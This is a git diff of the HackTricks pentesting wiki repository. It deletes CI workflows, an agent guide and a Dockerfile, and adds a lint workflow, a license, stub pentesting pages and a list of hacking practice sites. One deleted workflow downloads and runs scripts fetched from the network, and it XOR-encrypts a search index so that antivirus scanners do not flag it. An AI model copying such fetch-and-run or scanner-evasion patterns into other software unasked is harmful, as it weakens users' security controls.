-          hbs_changed=false
-
-          for f in "${files[@]}"; do
-            if [[ "$f" == theme/* ]]; then
-              rel="${f#theme/}"
-              if [[ "$f" == *.hbs ]]; then
-                hbs_changed=true
-              else
-                invalidate_paths+=("/$rel")
-              fi
-            fi
-          done
-
-          if [ "$hbs_changed" = true ]; then
-            invalidate_paths+=("/*")
-          fi
-
-          printf "%s\n" "${invalidate_paths[@]}" | awk 'NF' | sort -u > /tmp/invalidate_paths.txt
-
-          if [ ! -s /tmp/invalidate_paths.txt ]; then
-            echo "paths=" >> "$GITHUB_OUTPUT"
-            exit 0
-          fi
-
-          paths=$(paste -sd' ' /tmp/invalidate_paths.txt)
-          echo "paths=$paths" >> "$GITHUB_OUTPUT"
-
-      - name: Create CloudFront invalidation
-        if: steps.paths.outputs.paths != ''
-        shell: bash
-        run: |
-          set -euo pipefail
-          set -f
-          aws cloudfront create-invalidation \
-            --distribution-id "${{ secrets.CLOUDFRONT_DISTRIBUTION_ID }}" \
-            --paths ${{ steps.paths.outputs.paths }}
diff --git a/.github/workflows/lint_python.yml b/.github/workflows/lint_python.yml
new file mode 100644
index 00000000000..c9f3d0b5b65
--- /dev/null
+++ b/.github/workflows/lint_python.yml
@@ -0,0 +1,19 @@
+name: lint_python
+on: [pull_request, push]
+jobs:
+  lint_python:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v2
+      - uses: actions/setup-python@v2
+      - run: pip install bandit black codespell flake8 isort mypy pytest pyupgrade
+      - run: bandit -r . || true
+      - run: black --check . || true
+      - run: codespell --ignore-words-list="sav,te,wan" --quiet-level=2 || true  # --skip=""
+      - run: flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics
+      - run: isort --check-only --profile black . || true
+      - run: pip install -r requirements.txt || true
+      - run: mypy --ignore-missing-imports . || true
+      - run: pytest . || true
+      - run: pytest --doctest-modules . || true
+      - run: shopt -s globstar && pyupgrade --py36-plus **/*.py || true
diff --git a/.github/workflows/translate_all.yml b/.github/workflows/translate_all.yml
deleted file mode 100644
index 9041c34b8b6..00000000000
--- a/.github/workflows/translate_all.yml
+++ /dev/null
@@ -1,312 +0,0 @@
-name: Translate All
-
-on:
-  push:
-    branches:
-      - master
-    paths-ignore:
-      - '.gitignore'
-      - Dockerfile
-  workflow_dispatch:
-
-permissions:
-  packages: write
-  id-token: write
-  contents: write
-
-jobs:
-  translate:
-    name: Translate → ${{ matrix.name }} (${{ matrix.branch }})
-    runs-on: ubuntu-latest
-
-    # Run N languages in parallel (tune max-parallel if needed)
-    strategy:
-      fail-fast: false
-      # max-parallel: 3 #Nothing to run all in parallel
-      matrix:
-        include:
-          - { name: "Afrikaans", language: "Afrikaans", branch: "af" }
-          - { name: "German", language: "German", branch: "de" }
-          - { name: "Greek", language: "Greek", branch: "el" }
-          - { name: "Spanish", language: "Spanish", branch: "es" }
-          - { name: "French",  language: "French",  branch: "fr" }
-          - { name: "Hindi",  language: "Hindi",  branch: "hi" }
-          - { name: "Italian", language: "Italian", branch: "it" }
-          - { name: "Japanese", language: "Japanese", branch: "ja" }
-          - { name: "Korean", language: "Korean", branch: "ko" }
-          - { name: "Polish", language: "Polish", branch: "pl" }
-          - { name: "Portuguese", language: "Portuguese", branch: "pt" }
-          - { name: "Serbian", language: "Serbian", branch: "sr" }
-          - { name: "Swahili", language: "Swahili", branch: "sw" }
-          - { name: "Turkish", language: "Turkish", branch: "tr" }
-          - { name: "Ukrainian", language: "Ukrainian", branch: "uk" }
-          - { name: "Chinese", language: "Chinese", branch: "zh" }
-
-    # Ensure only one job per branch runs at a time (even across workflow runs)
-    concurrency:
-      group: translate-cloud-${{ matrix.branch }}
-      cancel-in-progress: false
-
-    container:
-      image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
-
-    env:
-      LANGUAGE: ${{ matrix.language }}
-      BRANCH:   ${{ matrix.branch }}
-
-    steps:
-      - name: Checkout code
-        uses: actions/checkout@v6
-        with:
-          fetch-depth: 0
-      
-      - name: Update and download scripts
-        run: |
-          sudo apt-get update
-          # Install GitHub CLI properly
-          curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
-          && sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
-          && echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
-          && sudo apt update \
-          && sudo apt install gh -y \
-          && sudo apt-get install -y wget
-          mkdir -p scripts
-          cd scripts
-          wget -O get_and_save_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/get_and_save_refs.py
-          wget -O compare_and_fix_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/compare_and_fix_refs.py
-          wget -O translator.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/translator.py
-          cp mark_unchanged_s3_files.py /tmp/mark_unchanged_s3_files.py
-          cd ..
-          wget -O /tmp/seo_postprocess.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/master/scripts/seo_postprocess.py
-
-      - name: Run get_and_save_refs.py
-        run: |
-          python scripts/get_and_save_refs.py
-
-      - name: Download language branch & update refs
-        run: |
-          git config --global --add safe.directory /__w/hacktricks/hacktricks
-          git config --global user.name 'Translator'
-          git config --global user.email 'github-actions@github.com'
-          git config pull.rebase false
-          git checkout $BRANCH
-          git pull
-          python scripts/compare_and_fix_refs.py --files-unmatched-paths /tmp/file_paths.txt
-          git add .
-          git commit -m "Fix unmatched refs" || echo "No changes to commit"
-          git push || echo "No changes to push"
-      
-      - name: Run translation script on changed files
-        run: |
-          git checkout master
-          export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
-          git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
-            if echo "$file" | grep -qE '\.md$'; then
-              echo -n ",$file" >> /tmp/file_paths.txt
-            fi
-          done
-
-          echo "Files to translate (`wc -l < /tmp/file_paths.txt`):"
-          cat /tmp/file_paths.txt
-          echo ""
-          echo ""
-          touch /tmp/file_paths.txt
-
-          if [ -s /tmp/file_paths.txt ]; then
-            python scripts/translator.py \
-              --language "$LANGUAGE" \
-              --branch "$BRANCH" \
-              --api-key "$OPENAI_API_KEY" \
-              -f "$(cat /tmp/file_paths.txt)" \
-              -t 3
-          else
-            echo "No markdown files changed, skipping translation."
-          fi
-
-      - name: Build mdBook
-        run: |
-          git checkout "$BRANCH"
-          git pull
-          MDBOOK_BOOK__LANGUAGE=$BRANCH mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
-      
-      - name: Push search index to hacktricks-searchindex repo
-        shell: bash
-        env:
-          PAT_TOKEN: ${{ secrets.PAT_TOKEN }}
-        run: |
-          set -euo pipefail
-
-          ASSET="book/searchindex.js"
-          TARGET_REPO="HackTricks-wiki/hacktricks-searchindex"
-          FILENAME="searchindex-${BRANCH}.js"
-
-          if [ ! -f "$ASSET" ]; then
-            echo "Expected $ASSET to exist after build" >&2
-            exit 1
-          fi
-
-          TOKEN="${PAT_TOKEN}"
-          if [ -z "$TOKEN" ]; then
-            echo "No PAT_TOKEN available" >&2
-            exit 1
-          fi
-
-          # Clone the searchindex repo
-          git clone https://x-access-token:${TOKEN}@github.com/${TARGET_REPO}.git /tmp/searchindex-repo
-          
-          # Compress the searchindex file
-          gzip -9 -k -f "$ASSET"
-          
-          # Show compression stats
-          ORIGINAL_SIZE=$(wc -c < "$ASSET")
-          COMPRESSED_SIZE=$(wc -c < "${ASSET}.gz")
-          RATIO=$(awk "BEGIN {printf \"%.1f\", ($COMPRESSED_SIZE / $ORIGINAL_SIZE) * 100}")
-          echo "Compression: ${ORIGINAL_SIZE} bytes -> ${COMPRESSED_SIZE} bytes (${RATIO}%)"
-          
-          # XOR encrypt the compressed file
-          KEY='Prevent_Online_AVs_From_Flagging_HackTricks_Search_Gzip_As_Malicious_394h7gt8rf9u3rf9g'
-          cat > /tmp/xor_encrypt.py << 'EOF'
-          import sys
-          key = sys.argv[1]
-          input_file = sys.argv[2]
-          output_file = sys.argv[3]
-          with open(input_file, 'rb') as f:
-              data = f.read()
-          key_bytes = key.encode('utf-8')
-          encrypted = bytearray(len(data))
-          for i in range(len(data)):
-              encrypted[i] = data[i] ^ key_bytes[i % len(key_bytes)]
-          with open(output_file, 'wb') as f:
-              f.write(encrypted)
-          print(f"Encrypted: {len(data)} bytes")
-          EOF
-          python3 /tmp/xor_encrypt.py "$KEY" "${ASSET}.gz" "${ASSET}.gz.enc"
-          
-          # Copy ONLY the encrypted .gz version to the searchindex repo (no uncompressed .js)
-          cp "${ASSET}.gz.enc" "/tmp/searchindex-repo/${FILENAME}.gz"
-          
-          # Commit and push with retry logic
-          cd /tmp/searchindex-repo
-          git config user.name "GitHub Actions"
-          git config user.email "github-actions@github.com"
-          git add "${FILENAME}.gz"
-          
-          if git diff --staged --quiet; then
-            echo "No changes to commit"
-          else
-            git commit -m "Update ${FILENAME} from hacktricks-cloud build"
-            
-            # Retry push up to 20 times with pull --rebase between attempts
-            MAX_RETRIES=20
-            RETRY_COUNT=0
-            while [ $RETRY_COUNT -lt $MAX_RETRIES ]; do
-              if git push origin master; then
-                echo "Successfully pushed on attempt $((RETRY_COUNT + 1))"
-                break
-              else
-                RETRY_COUNT=$((RETRY_COUNT + 1))
-                if [ $RETRY_COUNT -lt $MAX_RETRIES ]; then
-                  echo "Push failed, attempt $RETRY_COUNT/$MAX_RETRIES. Pulling and retrying..."
-                  
-                  # Try normal rebase first
-                  if git pull --rebase origin master 2>&1 | tee /tmp/pull_output.txt; then
-                    echo "Rebase successful, retrying push..."
-                  else
-                    # If rebase fails due to divergent histories (orphan branch reset), re-clone
-                    if grep -q "unrelated histories\|refusing to merge\|fatal: invalid upstream\|couldn't find remote ref" /tmp/pull_output.txt; then
-                      echo "Detected history rewrite, re-cloning repository..."
-                      cd /tmp
-                      rm -rf searchindex-repo
-                      git clone https://x-access-token:${TOKEN}@github.com/${TARGET_REPO}.git searchindex-repo
-                      cd searchindex-repo
-                      git config user.name "GitHub Actions"
-                      git config user.email "github-actions@github.com"
-                      
-                      # Re-copy ONLY the encrypted .gz version (no uncompressed .js)
-                      cp "${ASSET}.gz.enc" "${FILENAME}.gz"
-                      
-                      git add "${FILENAME}.gz"
-                      git commit -m "Update ${FILENAME}.gz from hacktricks-cloud build"
-                      echo "Re-cloned and re-committed, will retry push..."
-                    else
-                      echo "Rebase failed for unknown reason, retrying anyway..."
-                    fi
-                  fi
-                  
-                  sleep 1
-                else
-                  echo "Failed to push after $MAX_RETRIES attempts"
-                  exit 1
-                fi
-              fi
-            done
-          fi
-
-      # Login in AWS
-      - name: Configure AWS credentials using OIDC
-        uses: aws-actions/configure-aws-credentials@v6
-        with:
-          role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
-          aws-region: us-east-1
-
-      - name: Post-process SEO artifacts
-        run: |
-          python3 /tmp/seo_postprocess.py pages \
-            --book-dir ./book \
-            --site-url https://hacktricks.wiki \
-            --lang "$BRANCH" \
-            --default-lang en \
-            --site-name "HackTricks"
-      
-      # Sync the build to S3
-      - name: Sync to S3
-        run: |
-          echo "Current branch:"
-          git rev-parse --abbrev-ref HEAD
-          echo "Syncing $BRANCH to S3"
-          # mdBook refreshes mtimes on every build. Age byte-identical files
-          # based on single-part S3 ETags so `s3 sync` skips redundant PUTs.
-          aws s3api list-objects-v2 \
-            --bucket hacktricks-wiki \
-            --prefix "$BRANCH/" \
-            --output json > /tmp/s3-branch-manifest.json
-          python3 /tmp/mark_unchanged_s3_files.py \
-            --source ./book \
-            --manifest /tmp/s3-branch-manifest.json \
-            --remote-prefix "$BRANCH/"
-          aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
-          echo "Sync completed"
-          echo "Cat 3 files from the book"
-          find . -type f -name 'index.html' -print | head -n 3 | xargs -r cat
-
-      - name: Refresh root sitemap index
-        id: root_sitemap
-        shell: bash
-        run: |
-          set -euo pipefail
-          LANGS=$(aws s3api list-objects-v2 --bucket hacktricks-wiki --delimiter / --query 'CommonPrefixes[].Prefix' --output text | tr '\t' '\n' | sed 's:/$::' | grep -E '^[a-z]{2}$' | sort | paste -sd, - || true)
-          if [ -z "$LANGS" ]; then
-            LANGS="en"
-          fi
-          python3 /tmp/seo_postprocess.py index --site-url https://hacktricks.wiki --languages "$LANGS" --output ./sitemap.xml
-          if aws s3 cp s3://hacktricks-wiki/sitemap.xml /tmp/current-root-sitemap.xml >/dev/null 2>&1 && cmp -s /tmp/current-root-sitemap.xml ./sitemap.xml; then
-            echo "Root sitemap unchanged; skipping S3 upload and CloudFront invalidation for /sitemap.xml"
-            echo "changed=false" >> "$GITHUB_OUTPUT"
-          else
-            aws s3 cp ./sitemap.xml s3://hacktricks-wiki/sitemap.xml --content-type application/xml --cache-control max-age=300
-            echo "changed=true" >> "$GITHUB_OUTPUT"
-          fi
-
-      - name: Invalidate CloudFront HTML and SEO assets
-        shell: bash
-        run: |
-          set -euo pipefail
-          # The wildcard already invalidates the language sitemap, so avoid
-          # paying for a redundant explicit /$BRANCH/sitemap.xml path.
-          paths=("/$BRANCH/*")
-          if [ "${{ steps.root_sitemap.outputs.changed }}" = "true" ]; then
-            paths+=("/sitemap.xml")
-          fi
-          aws cloudfront create-invalidation \
-            --distribution-id "${{ secrets.CLOUDFRONT_DISTRIBUTION_ID }}" \
-            --paths "${paths[@]}"
diff --git a/.gitignore b/.gitignore
deleted file mode 100644
index ca861387703..00000000000
--- a/.gitignore
+++ /dev/null
@@ -1,14 +0,0 @@
-.dccache
-scripts/
-scripts/*
-.DS_Store
-**/.DS_Store
-.vscode
-.vscode/*
-
-#mdbook
-book
-book/*
-hacktricks-preprocessor.log
-hacktricks-preprocessor-error.log
-searchindex.js
diff --git a/.mdbook-build.err b/.mdbook-build.err
deleted file mode 100644
index 23364b7bcd0..00000000000
--- a/.mdbook-build.err
+++ /dev/null
@@ -1 +0,0 @@
-/bin/bash: line 10: mdbook: command not found
diff --git a/.mdbook-build.log b/.mdbook-build.log
deleted file mode 100644
index e69de29bb2d..00000000000
diff --git a/.tmp_hope.pdf b/.tmp_hope.pdf
deleted file mode 100644
index df415f5c8a9..00000000000
Binary files a/.tmp_hope.pdf and /dev/null differ
diff --git a/.tmp_malloc.c b/.tmp_malloc.c
deleted file mode 100644
index e69de29bb2d..00000000000
diff --git a/1911-pentesting-fox.md b/1911-pentesting-fox.md
new file mode 100644
index 00000000000..d476f4106b4
--- /dev/null
+++ b/1911-pentesting-fox.md
@@ -0,0 +1,26 @@
+# 1911 - Pentesting fox
+
+And more services:
+
+ubiquiti-discover udp "Ubiquiti Networks Device" 
+
+dht udp "DHT Nodes"
+
+5060 udp sip "SIP/"
+
+![](.gitbook/assets/image%20%28182%29.png)
+
+![](.gitbook/assets/image%20%28345%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%281%29%20%282%29.png)
+
+InfluxDB
+
+![](.gitbook/assets/image%20%28371%29.png)
+
+![](.gitbook/assets/image%20%28372%29.png)
+
+![](.gitbook/assets/image%20%28370%29.png)
+
+![](.gitbook/assets/image%20%28374%29.png)
+
+![](.gitbook/assets/image%20%28373%29.png)
+
diff --git a/6881-udp-pentesting-bittorrent.md b/6881-udp-pentesting-bittorrent.md
new file mode 100644
index 00000000000..33f1e351d4f
--- /dev/null
+++ b/6881-udp-pentesting-bittorrent.md
@@ -0,0 +1,2 @@
+# 6881/udp - Pentesting BitTorrent
+
diff --git a/AGENTS.md b/AGENTS.md
deleted file mode 100644
index 6e4677b4690..00000000000
--- a/AGENTS.md
+++ /dev/null
@@ -1,77 +0,0 @@
-# AGENTS.md
-
-Guidance for future agents working in this repository.
-
-## Repository Context
-
-This is the main HackTricks mdBook repository. The related cloud book lives at:
-
-`/Users/carlospolop/git/hacktricks-cloud`
-
-Changes to shared theme/search behavior often need to be applied in both repositories.
-
-## Search Index Loading Contract
-
-The custom search UI lives in:
-
-`theme/ht_searcher.js`
-
-There may also be a generated copy at:
-
-`book/theme/ht_searcher.js`
-
-If production is deploying the already-built `book/` directory, update both copies or rebuild the
-book before deployment.
-
-The search index loading order is important and cost-sensitive:
-
-1. Load every language-specific and fallback search index from the GitHub repository:
-   `HackTricks-wiki/hacktricks-searchindex`
-2. Only if all GitHub-hosted candidates fail, fall back to the same-origin mdBook output.
-
-Do not place the local `/searchindex.js` fallback before any GitHub-hosted fallback such as
-`searchindex-en.js.gz`. Serving `searchindex.js` from `hacktricks.wiki` in production is expensive.
-
-For this repo, the expected local fallback is:
-
-`/searchindex.js`
-
-The cloud index should not use a local fallback from this origin. It should rely on the remote
-`searchindex-cloud-<lang>.js.gz` files.
-
-## Search Index Publishing
-
-The workflows that publish encrypted compressed search indexes to
-`HackTricks-wiki/hacktricks-searchindex` are:
-
-- `.github/workflows/build_master.yml`
-- `.github/workflows/translate_all.yml`
-
-The generated source file is `book/searchindex.js`. The published remote artifact names are:
-
-- `searchindex-en.js.gz`
-- `searchindex-<lang>.js.gz`
-
-The browser loader expects the remote `.js.gz` files to be XOR-encrypted gzip payloads using the
-key defined in `theme/ht_searcher.js`.
-
-## Build And Validation
-
-Common local checks:
-
-- `node --check theme/ht_searcher.js`
-- `mdbook build`
-
-If `mdbook build` fails, check:
-
-- `hacktricks-preprocessor-error.log`
-- `hacktricks-preprocessor.log`
-
-## Editing Notes
-
-- Prefer `rg` for searching.
-- Keep generated `book/` output out of commits unless explicitly requested. Search loader fixes are
-  an exception when the already-built pages must be corrected immediately.
-- If changing shared theme behavior, compare and update the matching file in
-  `/Users/carlospolop/git/hacktricks-cloud`.
-- Do not revert unrelated local changes.
diff --git a/Dockerfile b/Dockerfile
deleted file mode 100644
index bc3b66ed67c..00000000000
--- a/Dockerfile
+++ /dev/null
@@ -1,23 +0,0 @@
-FROM ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
-
-# Variable de idioma (cambia "master" a "es" si lo quieres en español, etc.)
-ARG HT_LANG=master
-ENV HT_LANG=${HT_LANG}
-
-# Configuración de git y preparación
-RUN mkdir -p ~/.ssh && \
-    ssh-keyscan -H github.com >> ~/.ssh/known_hosts && \
-    git config --global --add safe.directory /app
-
-# Copiamos el repo clonado en CapRover al contenedor
-WORKDIR /app
-COPY . /app
-
-# Selecciona idioma y construye la documentación
-RUN git checkout ${HT_LANG} && git pull
-
-# Exponemos el puerto que usará mdbook
-EXPOSE 3000
-
-# Ejecuta mdbook en modo servidor
-CMD ["bash", "-c", "MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0 --port 3000"]
diff --git a/LICENSE.md b/LICENSE.md
new file mode 100644
index 00000000000..d4003fec27d
--- /dev/null
+++ b/LICENSE.md
@@ -0,0 +1,182 @@
+<a rel="license" href="http://creativecommons.org/licenses/by-sa/4.0/"><img alt="Creative Commons License" style="border-width:0" src="https://i.creativecommons.org/l/by-sa/4.0/88x31.png" /></a><br>Copyright © Carlos Polop 2020.  Except where otherwise specified, the text on <a href="https://github.com/carlospolop/hacktricks">HACK TRICKS</a> by Carlos Polop is licensed under the <a href="https://creativecommons.org/licenses/by-sa/4.0/">Creative Commons Attribution-ShareAlike License 4.0 (International) (CC-BY-SA 4.0)</a>.
+
+License: Creative Commons Attribution-ShareAlike 4.0 International<br>
+Human Readable License: https://creativecommons.org/licenses/by-sa/4.0/<br>
+Complete Legal Terms: https://creativecommons.org/licenses/by-sa/4.0/legalcode<br>
+Formatting: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/master/licenses/by-sa.markdown<br>
+
+## creative commons
+
+# Attribution-ShareAlike 4.0 International
+
+Official translations of this license are available <a href="https://creativecommons.org/licenses/by-sa/4.0/legalcode#languages">in other languages</a>.
+
+Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible.
+
+### Using Creative Commons Public Licenses
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+
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+
+## Creative Commons Attribution-ShareAlike 4.0 International Public License
+
+By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-ShareAlike 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions.
+
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+
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+
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+    
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+
+ 6. __No endorsement.__ Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i).
+    
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+ 1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise.
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+ 3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties.
+    
+### Section 3 – License Conditions.
+
+Your exercise of the Licensed Rights is expressly made subject to the following conditions.
+
+a. ___Attribution.___
+
+ 1. If You Share the Licensed Material (including in modified form), You must:
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+
+  B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and
+
+  C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License.
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+
+ 3. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable.
+    
+b. ___ShareAlike.___
+
+In addition to the conditions in Section 3(a), if You Share Adapted Material You produce, the following conditions also apply.
+
+1. The Adapter’s License You apply must be a Creative Commons license with the same License Elements, this version or later, or a BY-SA Compatible License.        
+
+2. You must include the text of, or the URI or hyperlink to, the Adapter's License You apply. You may satisfy this condition in any reasonable manner based on the medium, means, and context in which You Share Adapted Material.
+
+3. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, Adapted Material that restrict exercise of the rights granted under the Adapter's License You apply.
+
+### Section 4 – Sui Generis Database Rights.
+
+Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material:
+
+a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database;
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+
+c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database.
+
+For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights.
+
+### Section 5 – Disclaimer of Warranties and Limitation of Liability.
+
+a. __Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.__
+
+b. __To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.__
+
+c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability.
+
+### Section 6 – Term and Termination.
+
+a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically.
+
+b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates:
+
+ 1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or
+
+ 2. upon express reinstatement by the Licensor.
+
+ For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License.
+
+c. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License.
+
+d. Sections 1, 5, 6, 7, and 8 survive termination of this Public License.
+
+### Section 7 – Other Terms and Conditions.
+
+a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed.
+
+b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License.t stated herein are separate from and independent of the terms and conditions of this Public License.
+
+### Section 8 – Interpretation.
+
+a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License.
+
+b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions.
+
+c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor.
+
+d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority.
+
+Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses. 
+
+Creative Commons may be contacted at [creativecommons.org](http://creativecommons.org/).
diff --git a/Learning & Hacking.md b/Learning & Hacking.md
new file mode 100644
index 00000000000..2b3d865d95d
--- /dev/null
+++ b/Learning & Hacking.md	
@@ -0,0 +1,51 @@
+# Learning Pages and VMs
+
+## https://tryhackme.com/
+
+Tryhackme is a platform with virtual machines that need to be solved through walkthroughs, which is very good for beginners and normal CTFs where you self must hack into the machines.
+
+
+
+## https://www.root-me.org/   
+
+Rootme is another page for online hosted virtual machines to hack. 
+
+
+
+## https://www.vulnhub.com/ 
+
+Vulnhub has machines to download and then to hack
+
+
+
+## https://www.hackthebox.eu/ https://academy.hackthebox.eu/catalogue 
+
+Hackthebox has online machines to hack, but there are very limited in the free version.
+
+Recently the launched their academy, but it is a bit more expensive than for example tryhackme and has less.
+
+
+
+## https://hack.me/
+
+This site seems to be a community platform
+
+
+
+## https://www.hacker101.com/
+
+Free and smale site with videos and CTFs
+
+
+## https://crackmes.one/
+
+This site has a lot of binarys for forensic learning.
+
+## https://overthewire.org/wargames/
+
+The wargames offered by the OverTheWire community can help you to learn and practice security concepts in the form of fun-filled games.
+ Perfect for beginners.
+
+## https://www.hackthissite.org/missions/basic/ 
+
+## https://attackdefense.com/
diff --git a/README.md b/README.md
deleted file mode 120000
index 351df1dae72..00000000000
--- a/README.md
+++ /dev/null
@@ -1 +0,0 @@
-src/README.md
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 00000000000..37053d55362
--- /dev/null
+++ b/README.md
@@ -0,0 +1,56 @@
+---
+description: >-
+  Welcome to the page where you will find each hacking trick/technique/whatever
+  I have learnt in CTFs, real life apps, and reading researches and news.
+---
+
+# HackTricks
+
+![](.gitbook/assets/portada-alcoholica.png)
+
+**Welcome to the page where you will find each hacking trick/technique/whatever I have learnt in CTFs, real life apps, and reading researches and news.**
+
+Here you can find a little **introduction:**
+
+## [**Pentesting Methodology**](pentesting-methodology.md)
+
+## [**Pentesting Methodology**](pentesting-methodology.md)
+
+Here you will find the **typical flow** that **you should follow when pentesting** one or more **machines**.
+
+**Click in the title to start!**
+
+If you want to **know** about my **latest modifications**/**additions** or you have **any suggestion for HackTricks or PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/) **\*\*\[**PEASS & HackTricks telegram group here**\]\(**[https://t.me/peass](https://t.me/peass)**\), or** follow me on Twitter ****[**🐦**](https://emojipedia.org/bird/)**\[**@carlospolopm**\]\(**[https://twitter.com/carlospolopm](https://twitter.com/carlospolopm)**\)**.  
+**If you want to** share some tricks with the community **you can also submit** pull requests **to \[**[https://github.com/carlospolop/hacktricks\*\*\]\(https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks**]%28https://github.com/carlospolop/hacktricks)\) **that will be reflected in this book.  
+Don't forget to** give ⭐ on the github\*\* to motivate me to continue developing this book.
+
+{% hint style="danger" %}
+Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?  
+[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!**
+{% endhint %}
+
